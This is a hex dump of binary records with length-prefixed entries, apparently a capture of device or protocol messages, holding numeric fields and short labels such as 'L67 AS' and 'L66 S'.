10 7C 96 0F 00 01 00 00 00 A9 C9 00 00 F5 35 FF FF E0 F3 FF FF 13 5F 00 00 00 00 00 00 FD 00 00 00 16 01 00 00 B4 00 00 00 13 00 00 00 B4 00 00 00 13 00 00 00 B4 00 00 00 13 00 00 00 B4 00 00 00 13 00 00 00 9A 99 99 99 99 99 F1 3F 00 00 00 00 00 00 F0 3F 00 00 00 00 00 00 20 40 00 00 00 00 00 00 3E 40 B2 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 4C 00 36 00 37 00 20 00 41 00 53 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 40 00 00 00 00 00 00 3E 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +S: Len 206 | CE 00 / 0C / 12 EC 03 10 6F 96 0F 00 01 00 00 00 2C CB 00 00 EA 36 FF FF E0 F3 FF FF 39 0B 00 00 00 00 00 00 21 01 00 00 3D 01 00 00 AF 00 00 00 50 00 00 00 AF 00 00 00 50 00 00 00 AF 00 00 00 50 00 00 00 AF 00 00 00 50 00 00 00 9A 99 99 99 99 99 F1 3F 00 00 00 00 00 00 F0 3F 00 00 00 00 00 00 26 40 00 00 00 00 00 00 3C 40 DD 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 4C 00 36 00 36 00 20 00 53 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 26 40 00 00 00 00 00 00 3C 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +S: Len 208 | D0 00 / 0C / A3 EB 03 10 78 96 0F 00 01 00 00 00 69 CA 00 00 4A 34 FF FF 10 F4 FF FF BC 6E 00 00 00 00 00 00 FD 00 00 00 16 01 00 00 B4 00 00 00 13 00 00 00 B4 00 00 00 13 00 00 00 B4 00 00 00 13 00 00 00 B4 00 00 00 13 00 00 00 9A 99 99 99 99 99 F1 3F 00 00 00 00 00 00 F0 3F 00 00 00 00 00 00 20 40 00 00 00 00 00 00 3E 40 B2 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 4C 00 36 00 36 00 20 00 41 00 53 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 40 00 00 00 00 00 00 3E 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +S: Len 206 | CE 00 / 0C / 18 ED 03 10 6F 96 0F 00 01 00 00 00 16 C9 00 00 E7 31 FF FF D0 F4 FF FF 58 94 00 00 00 00 00 00 21 01 00 00 3D 01 00 00 AF 00 00 00 50 00 00 00 AF 00 00 00 50 00 00 00 AF 00 00 00 50 00 00 00 AF 00 00 00 50 00 00 00 9A 99 99 99 99 99 F1 3F 00 00 00 00 00 00 F0 3F 00 00 00 00 00 00 26 40 00 00 00 00 00 00 3C 40 DD 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 4C 00 36 00 36 00 20 00 53 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 26 40 00 00 00 00 00 00 3C 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +S: Len 208 | D0 00 / 0C / 5A EB 03 10 85 96 0F 00 01 00 00 00 25 D5 00 00 70 26 FF FF 58 F3 FF FF D9 55 00 00 00 00 00 00 B6 00 00 00 C8 00 00 00 B9 00 00 00 69 00 00 00 B9 00 00 00 69 00 00 00 B9 00 00 00 69 00 00 00 B9 00 00 00 69 00 00 00 9A 99 99 99 99 99 F1 3F 00 00 00 00 00 00 F0 3F 00 00 00 00 00 80 4C 40 00 00 00 00 00 80 43 40 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 4C 00 36 00 39 00 20 00 41 00 53 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4C 40 00 00 00 00 00 80 43 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +S: Len 208 | D0 00 / 0C / 5C EB 03 10 85 96 0F 00 01 00 00 00 D9 D5 00 00 2D 21 FF FF 10 F3 FF FF 33 AC 00 00 00 00 00 00 B6 00 00 00 C8 00 00 00 B9 00 00 00 69 00 00 00 B9 00 00 00 69 00 00 00 B9 00 00 00 69 00 00 00 B9 00 00 00 69 00 00 00 9A 99 99 99 99 99 F1 3F 00 00 00 00 00 00 F0 3F 00 00 00 00 00 80 4C 40 00 00 00 00 00 80 43 40 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 4C 00 36 00 39 00 20 00 41 00 53 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4C 40 00 00 00 00 00 80 43 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +S: Len 208 | D0 00 / 0C / AA EB 03 10 7C 96 0F 00 01 00 00 00 E0 D4 00 00 10 25 FF FF 08 F3 FF FF 59 70 00 00 00 00 00 00 FD 00 00 00 16 01 00 00 B4 00 00 00 13 00 00 00 B4 00 00 00 13 00 00 00 B4 00 00 00 13 00 00 00 B4 00 00 00 13 00 00 00 9A 99 99 99 99 99 F1 3F 00 00 00 00 00 00 F0 3F 00 00 00 00 00 00 20 40 00 00 00 00 00 00 3E 40 B2 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 4C 00 36 00 37 00 20 00 41 00 53 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 40 00 00 00 00 00 00 3E 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +S: Len 208 | D0 00 / 0C / 2F EC 03 10 81 96 0F 00 01 00 00 00 67 D2 00 00 AB 22 FF FF E0 F2 FF FF F3 0F 00 00 00 00 00 00 FD 00 00 00 16 01 00 00 AA 00 00 00 3C 00 00 00 AA 00 00 00 3C 00 00 00 AA 00 00 00 3C 00 00 00 AA 00 00 00 3C 00 00 00 9A 99 99 99 99 99 F1 3F 00 00 00 00 00 00 F0 3F 00 00 00 00 00 00 24 40 00 00 00 00 00 80 40 40 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 4C 00 36 00 38 00 20 00 41 00 53 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 24 40 00 00 00 00 00 80 40 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +S: Len 208 | D0 00 / 0C / C7 EB 03 10 80 96 0F 00 01 00 00 00 81 D0 00 00 3E 23 FF FF A0 F3 FF FF D7 27 00 00 00 00 00 00 FD 00 00 00 16 01 00 00 AA 00 00 00 3C 00 00 00 AA 00 00 00 3C 00 00 00 AA 00 00 00 3C 00 00 00 AA 00 00 00 3C 00 00 00 9A 99 99 99 99 99 F1 3F 00 00 00 00 00 00 F0 3F 00 00 00 00 00 00 24 40 00 00 00 00 00 80 40 40 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 4C 00 36 00 38 00 20 00 41 00 53 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 24 40 00 00 00 00 00 80 40 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +S: Len 208 | D0 00 / 0C / 2E EC 03 10 81 96 0F 00 01 00 00 00 85 D1 00 00 C3 21 FF FF D0 F2 FF FF 0D A9 00 00 00 00 00 00 FD 00 00 00 16 01 00 00 AA 00 00 00 3C 00 00 00 AA 00 00 00 3C 00 00 00 AA 00 00 00 3C 00 00 00 AA 00 00 00 3C 00 00 00 9A 99 99 99 99 99 F1 3F 00 00 00 00 00 00 F0 3F 00 00 00 00 00 00 24 40 00 00 00 00 00 80 40 40 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 4C 00 36 00 38 00 20 00 41 00 53 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 24 40 00 00 00 00 00 80 40 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +S: Len 208 | D0 00 / 0C / 43 EC 03 10 7E 96 0F 00 01 00 00 00 BE D5 00 00 E8 27 FF FF 80 F3 FF FF E5 E7 00 00 00 00 00 00 FD 00 00 00 16 01 00 00 B4 00 00 00 13 00 00 00 B4 00 00 00 13 00 00 00 B4 00 00 00 13 00 00 00 B4 00 00 00 13 00 00 00 9A 99 99 99 99 99 F1 3F 00 00 00 00 00 00 F0 3F 00 00 00 00 00 00 20 40 00 00 00 00 00 00 3E 40 B2 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 4C 00 36 00 38 00 20 00 41 00 53 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 40 00 00 00 00 00 00 3E 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +S: Len 208 | D0 00 / 0C / 44 EC 03 10 7E 96 0F 00 01 00 00 00 0F D1 00 00 43 27 FF FF 00 F4 FF FF 3E 0D 00 00 00 00 00 00 FD 00 00 00 16 01 00 00 B4 00 00 00 13 00 00 00 B4 00 00 00 13 00 00 00 B4 00 00 00 13 00 00 00 B4 00 00 00 13 00 00 00 9A 99 99 99 99 99 F1 3F 00 00 00 00 00 00 F0 3F 00 00 00 00 00 00 20 40 00 00 00 00 00 00 3E 40 B2 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 4C 00 36 00 38 00 20 00 41 00 53 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 40 00 00 00 00 00 00 3E 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +S: Len 208 | D0 00 / 0C / C9 EB 03 10 80 96 0F 00 01 00 00 00 9F D2 00 00 6D 24 FF FF 20 F4 FF FF F5 F7 00 00 00 00 00 00 FD 00 00 00 16 01 00 00 AA 00 00 00 3C 00 00 00 AA 00 00 00 3C 00 00 00 AA 00 00 00 3C 00 00 00 AA 00 00 00 3C 00 00 00 9A 99 99 99 99 99 F1 3F 00 00 00 00 00 00 F0 3F 00 00 00 00 00 00 24 40 00 00 00 00 00 80 40 40 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 4C 00 36 00 38 00 20 00 41 00 53 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 24 40 00 00 00 00 00 80 40 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +S: Len 208 | D0 00 / 0C / 5B EB 03 10 85 96 0F 00 01 00 00 00 12 D0 00 00 1C 26 FF FF 00 F4 FF FF 71 F0 00 00 00 00 00 00 B6 00 00 00 C8 00 00 00 B9 00 00 00 69 00 00 00 B9 00 00 00 69 00 00 00 B9 00 00 00 69 00 00 00 B9 00 00 00 69 00 00 00 9A 99 99 99 99 99 F1 3F 00 00 00 00 00 00 F0 3F 00 00 00 00 00 80 4C 40 00 00 00 00 00 80 43 40 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 4C 00 36 00 39 00 20 00 41 00 53 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4C 40 00 00 00 00 00 80 43 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +S: Len 208 | D0 00 / 0C / A9 EB 03 10 7C 96 0F 00 01 00 00 00 CB D6 00 00 3B 2B FF FF 80 F3 FF FF 88 EA 00 00 00 00 00 00 FD 00 00 00 16 01 00 00 B4 00 00 00 13 00 00 00 B4 00 00 00 13 00 00 00 B4 00 00 00 13 00 00 00 B4 00 00 00 13 00 00 00 9A 99 99 99 99 99 F1 3F 00 00 00 00 00 00 F0 3F 00 00 00 00 00 00 20 40 00 00 00 00 00 00 3E 40 B2 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 4C 00 36 00 37 00 20 00 41 00 53 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 40 00 00 00 00 00 00 3E 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +S: Len 208 | D0 00 / 0C / C8 EB 03 10 80 96 0F 00 01 00 00 00 02 D6 00 00 00 2F FF FF F0 F3 FF FF F7 8A 00 00 00 00 00 00 FD 00 00 00 16 01 00 00 AA 00 00 00 3C 00 00 00 AA 00 00 00 3C 00 00 00 AA 00 00 00 3C 00 00 00 AA 00 00 00 3C 00 00 00 9A 99 99 99 99 99 F1 3F 00 00 00 00 00 00 F0 3F 00 00 00 00 00 00 24 40 00 00 00 00 00 80 40 40 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 4C 00 36 00 38 00 20 00 41 00 53 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 24 40 00 00 00 00 00 80 40 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +S: Len 208 | D0 00 / 0C / AD EB 03 10 7C 96 0F 00 01 00 00 00 32 D4 00 00 58 29 FF FF E0 F3 FF FF 26 EB 00 00 00 00 00 00 FD 00 00 00 16 01 00 00 B4 00 00 00 13 00 00 00 B4 00 00 00 13 00 00 00 B4 00 00 00 13 00 00 00 B4 00 00 00 13 00 00 00 9A 99 99 99 99 99 F1 3F 00 00 00 00 00 00 F0 3F 00 00 00 00 00 00 20 40 00 00 00 00 00 00 3E 40 B2 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 4C 00 36 00 37 00 20 00 41 00 53 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 40 00 00 00 00 00 00 3E 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +S: Len 208 | D0 00 / 0C / 45 EC 03 10 7E 96 0F 00 01 00 00 00 B8 D0 00 00 A7 2A FF FF 50 F4 FF FF E2 82 00 00 00 00 00 00 FD 00 00 00 16 01 00 00 B4 00 00 00 13 00 00 00 B4 00 00 00 13 00 00 00 B4 00 00 00 13 00 00 00 B4 00 00 00 13 00 00 00 9A 99 99 99 99 99 F1 3F 00 00 00 00 00 00 F0 3F 00 00 00 00 00 00 20 40 00 00 00 00 00 00 3E 40 B2 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 4C 00 36 00 38 00 20 00 41 00 53 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 40 00 00 00 00 00 00 3E 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +S: Len 208 | D0 00 / 0C / 30 EC 03 10 81 96 0F 00 01 00 00 00 5B D0 00 00 EF 28 FF FF 70 F4 FF FF 9C 52 00 00 00 00 00 00 FD 00 00 00 16 01 00 00 AA 00 00 00 3C 00 00 00 AA 00 00 00 3C 00 00 00 AA 00 00 00 3C 00 00 00 AA 00 00 00 3C 00 00 00 9A 99 99 99 99 99 F1 3F 00 00 00 00 00 00 F0 3F 00 00 00 00 00 00 24 40 00 00 00 00 00 80 40 40 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 4C 00 36 00 38 00 20 00 41 00 53 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 24 40 00 00 00 00 00 80 40 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +S: Len 208 | D0 00 / 0C / 41 EC 03 10 7E 96 0F 00 01 00 00 00 35 D2 00 00 2F 2C FF FF 30 F4 FF FF 87 61 00 00 00 00 00 00 FD 00 00 00 16 01 00 00 B4 00 00 00 13 00 00 00 B4 00 00 00 13 00 00 00 B4 00 00 00 13 00 00 00 B4 00 00 00 13 00 00 00 9A 99 99 99 99 99 F1 3F 00 00 00 00 00 00 F0 3F 00 00 00 00 00 00 20 40 00 00 00 00 00 00 3E 40 B2 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 4C 00 36 00 38 00 20 00 41 00 53 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 40 00 00 00 00 00 00 3E 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +S: Len 206 | CE 00 / 0C / 11 EC 03 10 6F 96 0F 00 01 00 00 00 5B D1 00 00 74 35 FF FF 10 F4 FF FF 7F 80 00 00 00 00 00 00 21 01 00 00 3D 01 00 00 AF 00 00 00 50 00 00 00 AF 00 00 00 50 00 00 00 AF 00 00 00 50 00 00 00 AF 00 00 00 50 00 00 00 9A 99 99 99 99 99 F1 3F 00 00 00 00 00 00 F0 3F 00 00 00 00 00 00 26 40 00 00 00 00 00 00 3C 40 DD 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 4C 00 36 00 36 00 20 00 53 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 26 40 00 00 00 00 00 00 3C 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +S: Len 208 | D0 00 / 0C / 4C 36 04 10 78 96 0F 00 01 00 00 00 7F D1 00 00 D1 35 FF FF 10 F4 FF FF 48 33 00 00 00 00 00 00 FD 00 00 00 16 01 00 00 B4 00 00 00 13 00 00 00 B4 00 00 00 13 00 00 00 B4 00 00 00 13 00 00 00 B4 00 00 00 13 00 00 00 9A 99 99 99 99 99 F1 3F 00 00 00 00 00 00 F0 3F 00 00 00 00 00 00 20 40 00 00 00 00 00 00 3E 40 B2 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 4C 00 36 00 36 00 20 00 41 00 53 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 40 00 00 00 00 00 00 3E 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +S: Len 41 | 29 00 / E5 / 00 05 F7 00 04 00 03 00 00 00 03 00 00 00 A9 00 00 00 A9 00 00 00 6D 00 00 00 6D 00 00 00 AE 00 00 00 AE 00 00 00 +S: Len 6087 | C7 17 / 11 / 00 00 50 00 04 00 38 B4 04 10 B3 21 00 00 00 00 00 00 30 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 D2 B3 04 10 5F 05 00 00 01 00 00 00 0A 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 AF B3 04 10 D8 15 00 00 02 00 00 00 F5 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 A4 04 10 F1 24 00 00 0F 00 00 00 01 00 00 00 02 00 00 00 01 00 20 00 00 00 08 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 A4 04 10 F0 24 00 00 04 00 00 00 01 00 00 00 02 00 00 00 01 00 08 00 00 00 08 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E4 A3 04 10 EF 24 00 00 09 00 00 00 01 00 00 00 02 00 00 00 01 00 04 00 00 00 08 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 DB A3 04 10 EF 24 00 00 08 00 00 00 01 00 00 00 02 00 00 00 01 00 02 00 00 00 08 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 57 20 04 10 D0 24 00 00 0C 00 00 00 01 00 00 00 01 00 00 00 01 00 00 10 00 00 08 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 51 20 04 10 CF 24 00 00 0A 00 00 00 01 00 00 00 01 00 00 00 01 00 00 02 00 00 08 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 4E 20 04 10 CE 24 00 00 01 00 00 00 01 00 00 00 01 00 00 00 01 00 40 00 00 00 08 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 4C 20 04 10 CD 24 00 00 0B 00 00 00 01 00 00 00 01 00 00 00 01 00 00 08 00 00 08 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 4B 20 04 10 CA 24 00 00 06 00 00 00 01 00 00 00 01 00 00 00 01 00 00 04 00 00 08 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 D1 14 04 10 D8 02 00 00 03 00 00 00 73 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 D2 ED 03 10 46 11 00 00 04 00 00 00 01 00 00 00 05 00 00 00 00 00 00 00 00 00 37 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 E4 EB 03 10 02 06 00 00 05 00 00 00 0F 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 57 EA 03 10 25 04 00 00 06 00 00 00 FA 01 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 FC E9 03 10 B3 05 00 00 07 00 00 00 D0 07 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 EE E9 03 10 B2 05 00 00 08 00 00 00 5C 07 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 DC E9 03 10 6F 0F 00 00 09 00 00 00 7C 03 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 8C E8 03 10 AC 02 00 00 00 00 00 00 01 00 00 00 01 00 00 00 01 00 01 00 00 00 08 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 93 2F 03 10 2E 22 00 00 0A 00 00 00 01 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 89 2E 03 10 24 22 00 00 0B 00 00 00 01 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 39 10 03 10 D1 31 00 00 0C 00 00 00 07 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 32 10 03 10 39 00 00 00 0D 00 00 00 A7 72 33 70 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 0A 0B 03 10 C2 03 00 00 0E 00 00 00 3F 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 02 CB 02 10 C8 18 00 00 0F 00 00 00 14 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 9C B6 01 10 4E 07 00 00 10 00 00 00 DF 01 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 4C 8B 01 10 B5 15 00 00 11 00 00 00 97 06 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 4B 8B 01 10 B4 15 00 00 12 00 00 00 98 06 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 DB 7A 01 10 41 05 00 00 07 00 00 00 87 08 00 00 05 00 00 00 01 00 00 01 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 D0 7A 01 10 BB 05 00 00 13 00 00 00 69 03 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 B2 6C 01 10 53 08 00 00 14 00 00 00 90 01 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 